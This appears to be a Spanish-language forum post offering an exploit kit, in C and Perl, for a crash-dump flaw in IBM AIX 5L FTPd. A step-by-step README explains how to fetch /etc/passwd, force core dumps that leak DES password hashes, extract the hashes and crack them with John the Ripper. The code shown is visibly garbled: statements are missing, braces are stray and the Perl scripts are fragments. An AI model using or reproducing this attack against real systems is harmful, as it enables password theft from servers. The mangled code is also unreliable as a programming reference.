Version: Version de prueba 1.0
Lenguajes: C, Perl
Sistemas Vulnerables: IBM AIX 5l - 5.1, 5.2, 5.3 y probablemente 4.X
Parche Existente: Si, http://aix.software.ibm.com/aix/efixes/security/ftpd_advisory.asc
Vulnerabilidad descubierta por: Kingcope
Nivel de compromiso: Todos los usuarios con FTP ven comprometido su hash DES, passwords fuertes no se ven comprometidos a corto plazo (John the Ripper tardará un poco más)
Información necesaria: Un usuario y password válido en el sistema. En algunos funcionará un default.
Datos adicionales: Estos sistemas también tienen una configuración por defecto de Sendmail que permite usarlos como Relay sin privilegios para el envío de correo electrónico.
Es una versión de prueba, no la probé luego de los últimos cambios. Se podría intentar borrar el core luego del ataque.
MAY THE SOURCE BE WITH YOU...
Archivo: README
Código:
This attack is based in:
* IBM AIX 5l FTPd Remote DES Hash Exploit -- Advanced 'Datacenter' Edition :>
*
* Should work on IBM AIX 5.1,5.2,5.3! probably on 4.X too
*
* bug found & exploited by Kingcope
Credits for the vulnerability to Kingcope
Complete attack step by step:
a) Build (make) in the LHOST (you) in a NEW directory
b) Having a system's user/pass for AIX, use 'get-passwd' and get /etc/passwd by FTP
c) Having /etc/passwd as 'passwd' in your LHOST, run ub-aix-ftpd-attack.pl
This script reads passwd file getting usernames. Then, it uses provided valid
user/pass for the exploit, wich dumps a 'core' forcing a segmentation fault in
'FTPd'. Unpatched systems will dump core files containing the last failed
login hash, from /etc/security/passwd, so we filled memory with our victim user.
But the Kingcope exploit gets lots of strings from core files (by using 'strings' command),
so this script uses lots of dumps then...
d) Finally, you will get REAL hashes for users, by comparison, kicking off unusable
strings from dumps, and getting a real copy of /etc/security/passwd for every
user configured to FTPd... even root if it can FTP. To do this, use provided ukosh.pl
Now, a first eye on the passwords is done by running John the Ripper and stopping it after weakest passwords are revealed.
And you have all of the weak passwords instantly. Then, take a look at the retrieved passwd file
to see if you have some admin or potential staff member, or any interesting user.
If you don't have the pass, but the hash, use John the Ripper in a cluster, get some dictionary based on the system, you will crack it since... AIX cuts long passwords to 8 digits for the DES hash ;)
Archivo: Makefile
Código:
# it's for AIX (xlc), LINUX (gcc), or any other, just change CC
all: get-passwd exploit
CC:=gcc
get-passwd: get-passwd.c
@echo ">> compiling [$(CC)] $@"
@$(CC) -o get-passwd get-passwd.c
exploit: exploit.c
@echo ">> compiling [$(CC)] $@"
@$(CC) -o exploit exploit.c
clean:
-rm exploit get-passwd
Archivo: exploit.c
Código
/* * IBM AIX 5l FTPd Remote DES Hash Exploit -- Advanced 'Datacenter' Edition :> * * Should work on IBM AIX 5.1,5.2,5.3! probably on 4.X too * * bug found & exploited by Kingcope * exploit modified by UnsafeBit to fit full system passwords attack * * Version 3.0 - January 2012 * ---------------------------------------------------------------------------- * Description: - * The AIX 5l FTP-Server crashes when an overly long NLST command is supplied - * For example: NLST ~AAAAA...A (2000 A's should be enough) - * The fun part here is that it creates a coredump file in the current - * directory if it is set writable by the logged in user. - * The goal of the exploit is to get the DES encrypted user hashes - * off the server. These can be later cracked with JtR. - * This is accomplished by populating the memory with logins of the user - * we would like the encrypted hash from. Logging in three times with the - * target username should be enough so that the DES hash is included in the - * 'core' file. - * The FTPd banner looks like below. - * 220 AIX5l FTP-Server (Version 4.1 Tue May 29 11:57:21 CDT 2001) ready. - * 220 AIX5l FTP server (Version 4.1 Wed Mar 2 15:52:50 CST 2005) ready. - * ---------------------------------------------------------------------------- */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <fcntl.h> #define RIDICULOUS_PASSWD "QqQqQqQq" #define USAGE_STRING \ "%s <-r rhost(victim)> <-l lhost(you)> [-p port] [-u username] [-k password]"\ " [-d some rhost writable directory] [-c user to crack] [-s use 'LIST' command on AIX 5.3]\n" int createconnection(char *target, char *targetport); void sockgetline(int socketd); void putline(int socketd, char *out); void usage(char *exe); static int exploit_oops; void exploit_say(char *sayit) { } void exploit_failed(char *sayit) { exploit_oops++; } char in[8096]; char out[8096]; int main(int argc, char *argv[]) { extern int optind; extern char *optarg; int haveuser=0,havepassword=0; int socketd,s2,nsock; int c,k,len; int fd; exploit_oops = 0; char *target = NULL; char *username = "ftp"; char *password = "guest"; char *writeto = "pub"; char *crackme = "root"; char *targetport = "21"; int uselist = 0; char *myip = NULL; char *as = NULL; int octet_in[4], port; struct sockaddr_in yo, cli; char *oct = NULL; while ((c = getopt(argc, argv, "r:l:p:u:k:d:c:s")) != EOF) { switch(c) { case 'r': break; case 'l': break; case 'p': break; case 'u': haveuser = 1; break; case 'k': havepassword = 1; break; case 'd': break; case 'c': break; case 's': uselist = 1; break; default: usage(argv[0]); } } if (target == NULL || myip == NULL) usage(argv[0]); if ((haveuser && !havepassword) || (!haveuser && havepassword)) { usage(argv[0]); } socketd = createconnection(target, targetport); sockgetline(socketd); exploit_say("forcing poor FTPd to load DES hash in memory"); for (k=0;k<3;k++) { putline(socketd, out); sockgetline(socketd); putline(socketd,out); sockgetline(socketd); } putline(socketd, out); sockgetline(socketd); putline(socketd,out); sockgetline(socketd); sockgetline(socketd); exploit_say("injecting venom"); putline(socketd, out); sockgetline(socketd); as[2000-1] = 0; if (!uselist) { } else { /* AIX 5.3 trigger - thanks to karol */ } putline(socketd, out); if (recv(socketd, in, sizeof in, 0) < 1) { exploit_say("exploit succeeded!"); } else { exploit_say("trigger seems to have failed, proceeding anyways (sometimes, it will work anyways)"); } sleep(5); close(socketd); socketd = createconnection(target, targetport); sockgetline(socketd); putline(socketd, out); sockgetline(socketd); putline(socketd,out); sockgetline(socketd); sockgetline(socketd); putline(socketd, out); sockgetline(socketd); exploit_say("getting core file"); putline(socketd, out); sockgetline(socketd); port = getpid() + 1024; len = sizeof(cli); bzero(&yo, sizeof(yo)); yo.sin_family = AF_INET; yo.sin_port=htons(port); yo.sin_addr.s_addr = htonl(INADDR_ANY); snprintf(out, sizeof out, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256); putline(socketd, out); sockgetline(socketd); if ((s2=socket(AF_INET, SOCK_STREAM, 0)) < 0) { return -1; } if ((bind(s2, (struct sockaddr *) &yo, sizeof(yo))) < 0) { close(s2); } if (listen(s2, 10) < 0) { close(s2); } putline(socketd, out); sockgetline(socketd); exploit_failed("core file not found... terminating"); close(socketd); } fd = open("core", O_WRONLY | O_CREAT); if (fd == -1) { close(socketd); } sleep(1); if ((nsock = accept(s2, (struct sockaddr *)&cli, &len)) < 0) { close(socketd); } do { k = recv(nsock, in, sizeof in, 0); if (k < 1) break; write(fd, in, k); } while (k > 0); close(nsock); close(fd); close(socketd); exploit_say("extracting DES hashes"); char strings_command[255]; return 0; } int createconnection(char *target, char *targetport) { struct addrinfo hints, *res; int socketd; hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; if (getaddrinfo(target, targetport, &hints, &res)) { } socketd = socket(res->ai_family, res->ai_socktype, res->ai_protocol); if (socketd < 0) { } if (connect(socketd, res->ai_addr, res->ai_addrlen) < 0) { } return socketd; } void sockgetline(int socketd) { if (recv(socketd, in, sizeof in, 0) < 1) { close(socketd); } } void putline(int socketd, char *out) { close(socketd); } } void usage(char *exe) { }
Archivo: get-passwd.c
Código
/* * IBM AIX 5l FTPd Remote DES Hash Exploit * This file will use a known user to get /etc/passwd file * * Should work on IBM AIX 5.1,5.2,5.3! probably on 4.X too * * Version 1.0 - Jan 2012 * ---------------------------------------------------------------------------- */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <fcntl.h> #define USAGE_STRING \ "%s <-r rhost(victim)> <-l lhost(you)> [-p port] [-u username] [-k password]" int createconnection(char *target, char *targetport); void sockgetline(int socketd); void putline(int socketd, char *out); void usage(char *exe); static int exploit_oops; void exploit_say(char *sayit) { } void exploit_failed(char *sayit) { exploit_oops++; } char in[8096]; char out[8096]; int main(int argc, char *argv[]) { extern int optind; extern char *optarg; int haveuser=0,havepassword=0; int socketd,s2,nsock; int c,k,len; int fd; exploit_oops = 0; char *target = NULL; char *username = "ftp"; char *password = "guest"; char *writeto = "pub"; char *targetport = "21"; char *myip = NULL; char *as = NULL; int octet_in[4], port; struct sockaddr_in yo, cli; char *oct = NULL; while ((c = getopt(argc, argv, "r:l:p:u:k:")) != EOF) { switch(c) { case 'r': break; case 'l': break; case 'p': break; case 'u': haveuser = 1; break; case 'k': havepassword = 1; break; default: usage(argv[0]); } } if (target == NULL || myip == NULL) usage(argv[0]); if ((haveuser && !havepassword) || (!haveuser && havepassword)) { usage(argv[0]); } socketd = createconnection(target, targetport); sockgetline(socketd); putline(socketd, out); /* username */ sockgetline(socketd); putline(socketd,out); /* passwd */ sockgetline(socketd); sockgetline(socketd); exploit_say("RETRIEVING /etc/passwd"); putline(socketd, out); sockgetline(socketd); putline(socketd, out); sockgetline(socketd); port = getpid() + 1024; len = sizeof(cli); bzero(&yo, sizeof(yo)); yo.sin_family = AF_INET; yo.sin_port=htons(port); yo.sin_addr.s_addr = htonl(INADDR_ANY); snprintf(out, sizeof out, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256); putline(socketd, out); sockgetline(socketd); if ((s2=socket(AF_INET, SOCK_STREAM, 0)) < 0) { return -1; } if ((bind(s2, (struct sockaddr *) &yo, sizeof(yo))) < 0) { close(s2); } if (listen(s2, 10) < 0) { close(s2); } putline(socketd, out); sockgetline(socketd); exploit_failed("passwd file not found... terminating"); close(socketd); } fd = open("passwd", O_WRONLY | O_CREAT); if (fd == -1) { close(socketd); } sleep(1); if ((nsock = accept(s2, (struct sockaddr *)&cli, &len)) < 0) { close(socketd); } do { k = recv(nsock, in, sizeof in, 0); if (k < 1) break; write(fd, in, k); } while (k > 0); close(nsock); close(fd); close(socketd); return 0; } int createconnection(char *target, char *targetport) { struct addrinfo hints, *res; int socketd; hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; if (getaddrinfo(target, targetport, &hints, &res)) { } socketd = socket(res->ai_family, res->ai_socktype, res->ai_protocol); if (socketd < 0) { } if (connect(socketd, res->ai_addr, res->ai_addrlen) < 0) { } return socketd; } void sockgetline(int socketd) { if (recv(socketd, in, sizeof in, 0) < 1) { close(socketd); } } void putline(int socketd, char *out) { close(socketd); } } void usage(char *exe) { }
Archivo: ub-aix-ftpd-attack.pl
Código
#!/usr/bin/env perl my $F; while (<F>) { ($login, $passwd, $uid, $gid, }
Archivo: ukosh.pl
Código
#!/usr/bin/env perl # # 'unlock core shadows' (ukosh.pl) takes corefile 13 digit strings # from AIX 5.2 vulnerable FTPd hashdumps and, by comparison, takes # candidate user hashes # # you can do it yourself, but this script can take an /etc/passwd dump # for thousands of users, and get hashes in a second, so you can just # start cracking (John the Ripper in a cluster is the fastest way) # # %crack_user = ( username => '$', # complete_list => '@', ); # each user has lots of "maybe" passwords our @users_data; # the array of 'crack_user' elements our $number_of_files = 0; our @word_hash; # array of word-times, if a word appears in almost all of the files # then it is a core residual string, but not a password hash use IO::Handle; sub map_user() { our $number_of_files++; our @users_data; my @list; my %crack_user; my $File; while (<File>) { } close F; $crack_user{complete_list}=\@list; $crack_user{username}=$username; } sub sum_word() { my %word_times; my $found; #print "size of array: ", scalar @word_hash, "\n" $found=0; if ( $word_hash[$ix]->{word} =~ /^$_[0]$/ ) { $found=1; } } if ($found eq 0) { if ($_[0] =~ /^$/) { } else { $word_times{word}=$_[0]; } } } flush STDOUT; # each password file will be attended &map_user($_) if (/^passwd\.[a-z|0-9]+$/); } # fills comparison hash flush STDOUT; for (@{$users_data[$i]->{complete_list}}) { &sum_word($_); } } # for each possible line my $SEC_PASSWD; my $CAN_WRITE=1; if ($CAN_WRITE eq 1) { } for (@{$users_data[$i]->{complete_list}}) { if ($word_hash[$ix]->{word} !~ /^$/){ if ($word_hash[$ix]->{word} =~ /^$_$/){ if ($CAN_WRITE eq 1) { } } } } } } } close SEC_PASSWD;
Espero comentarios, mejoras, etc...
Saludos y Happy Hacking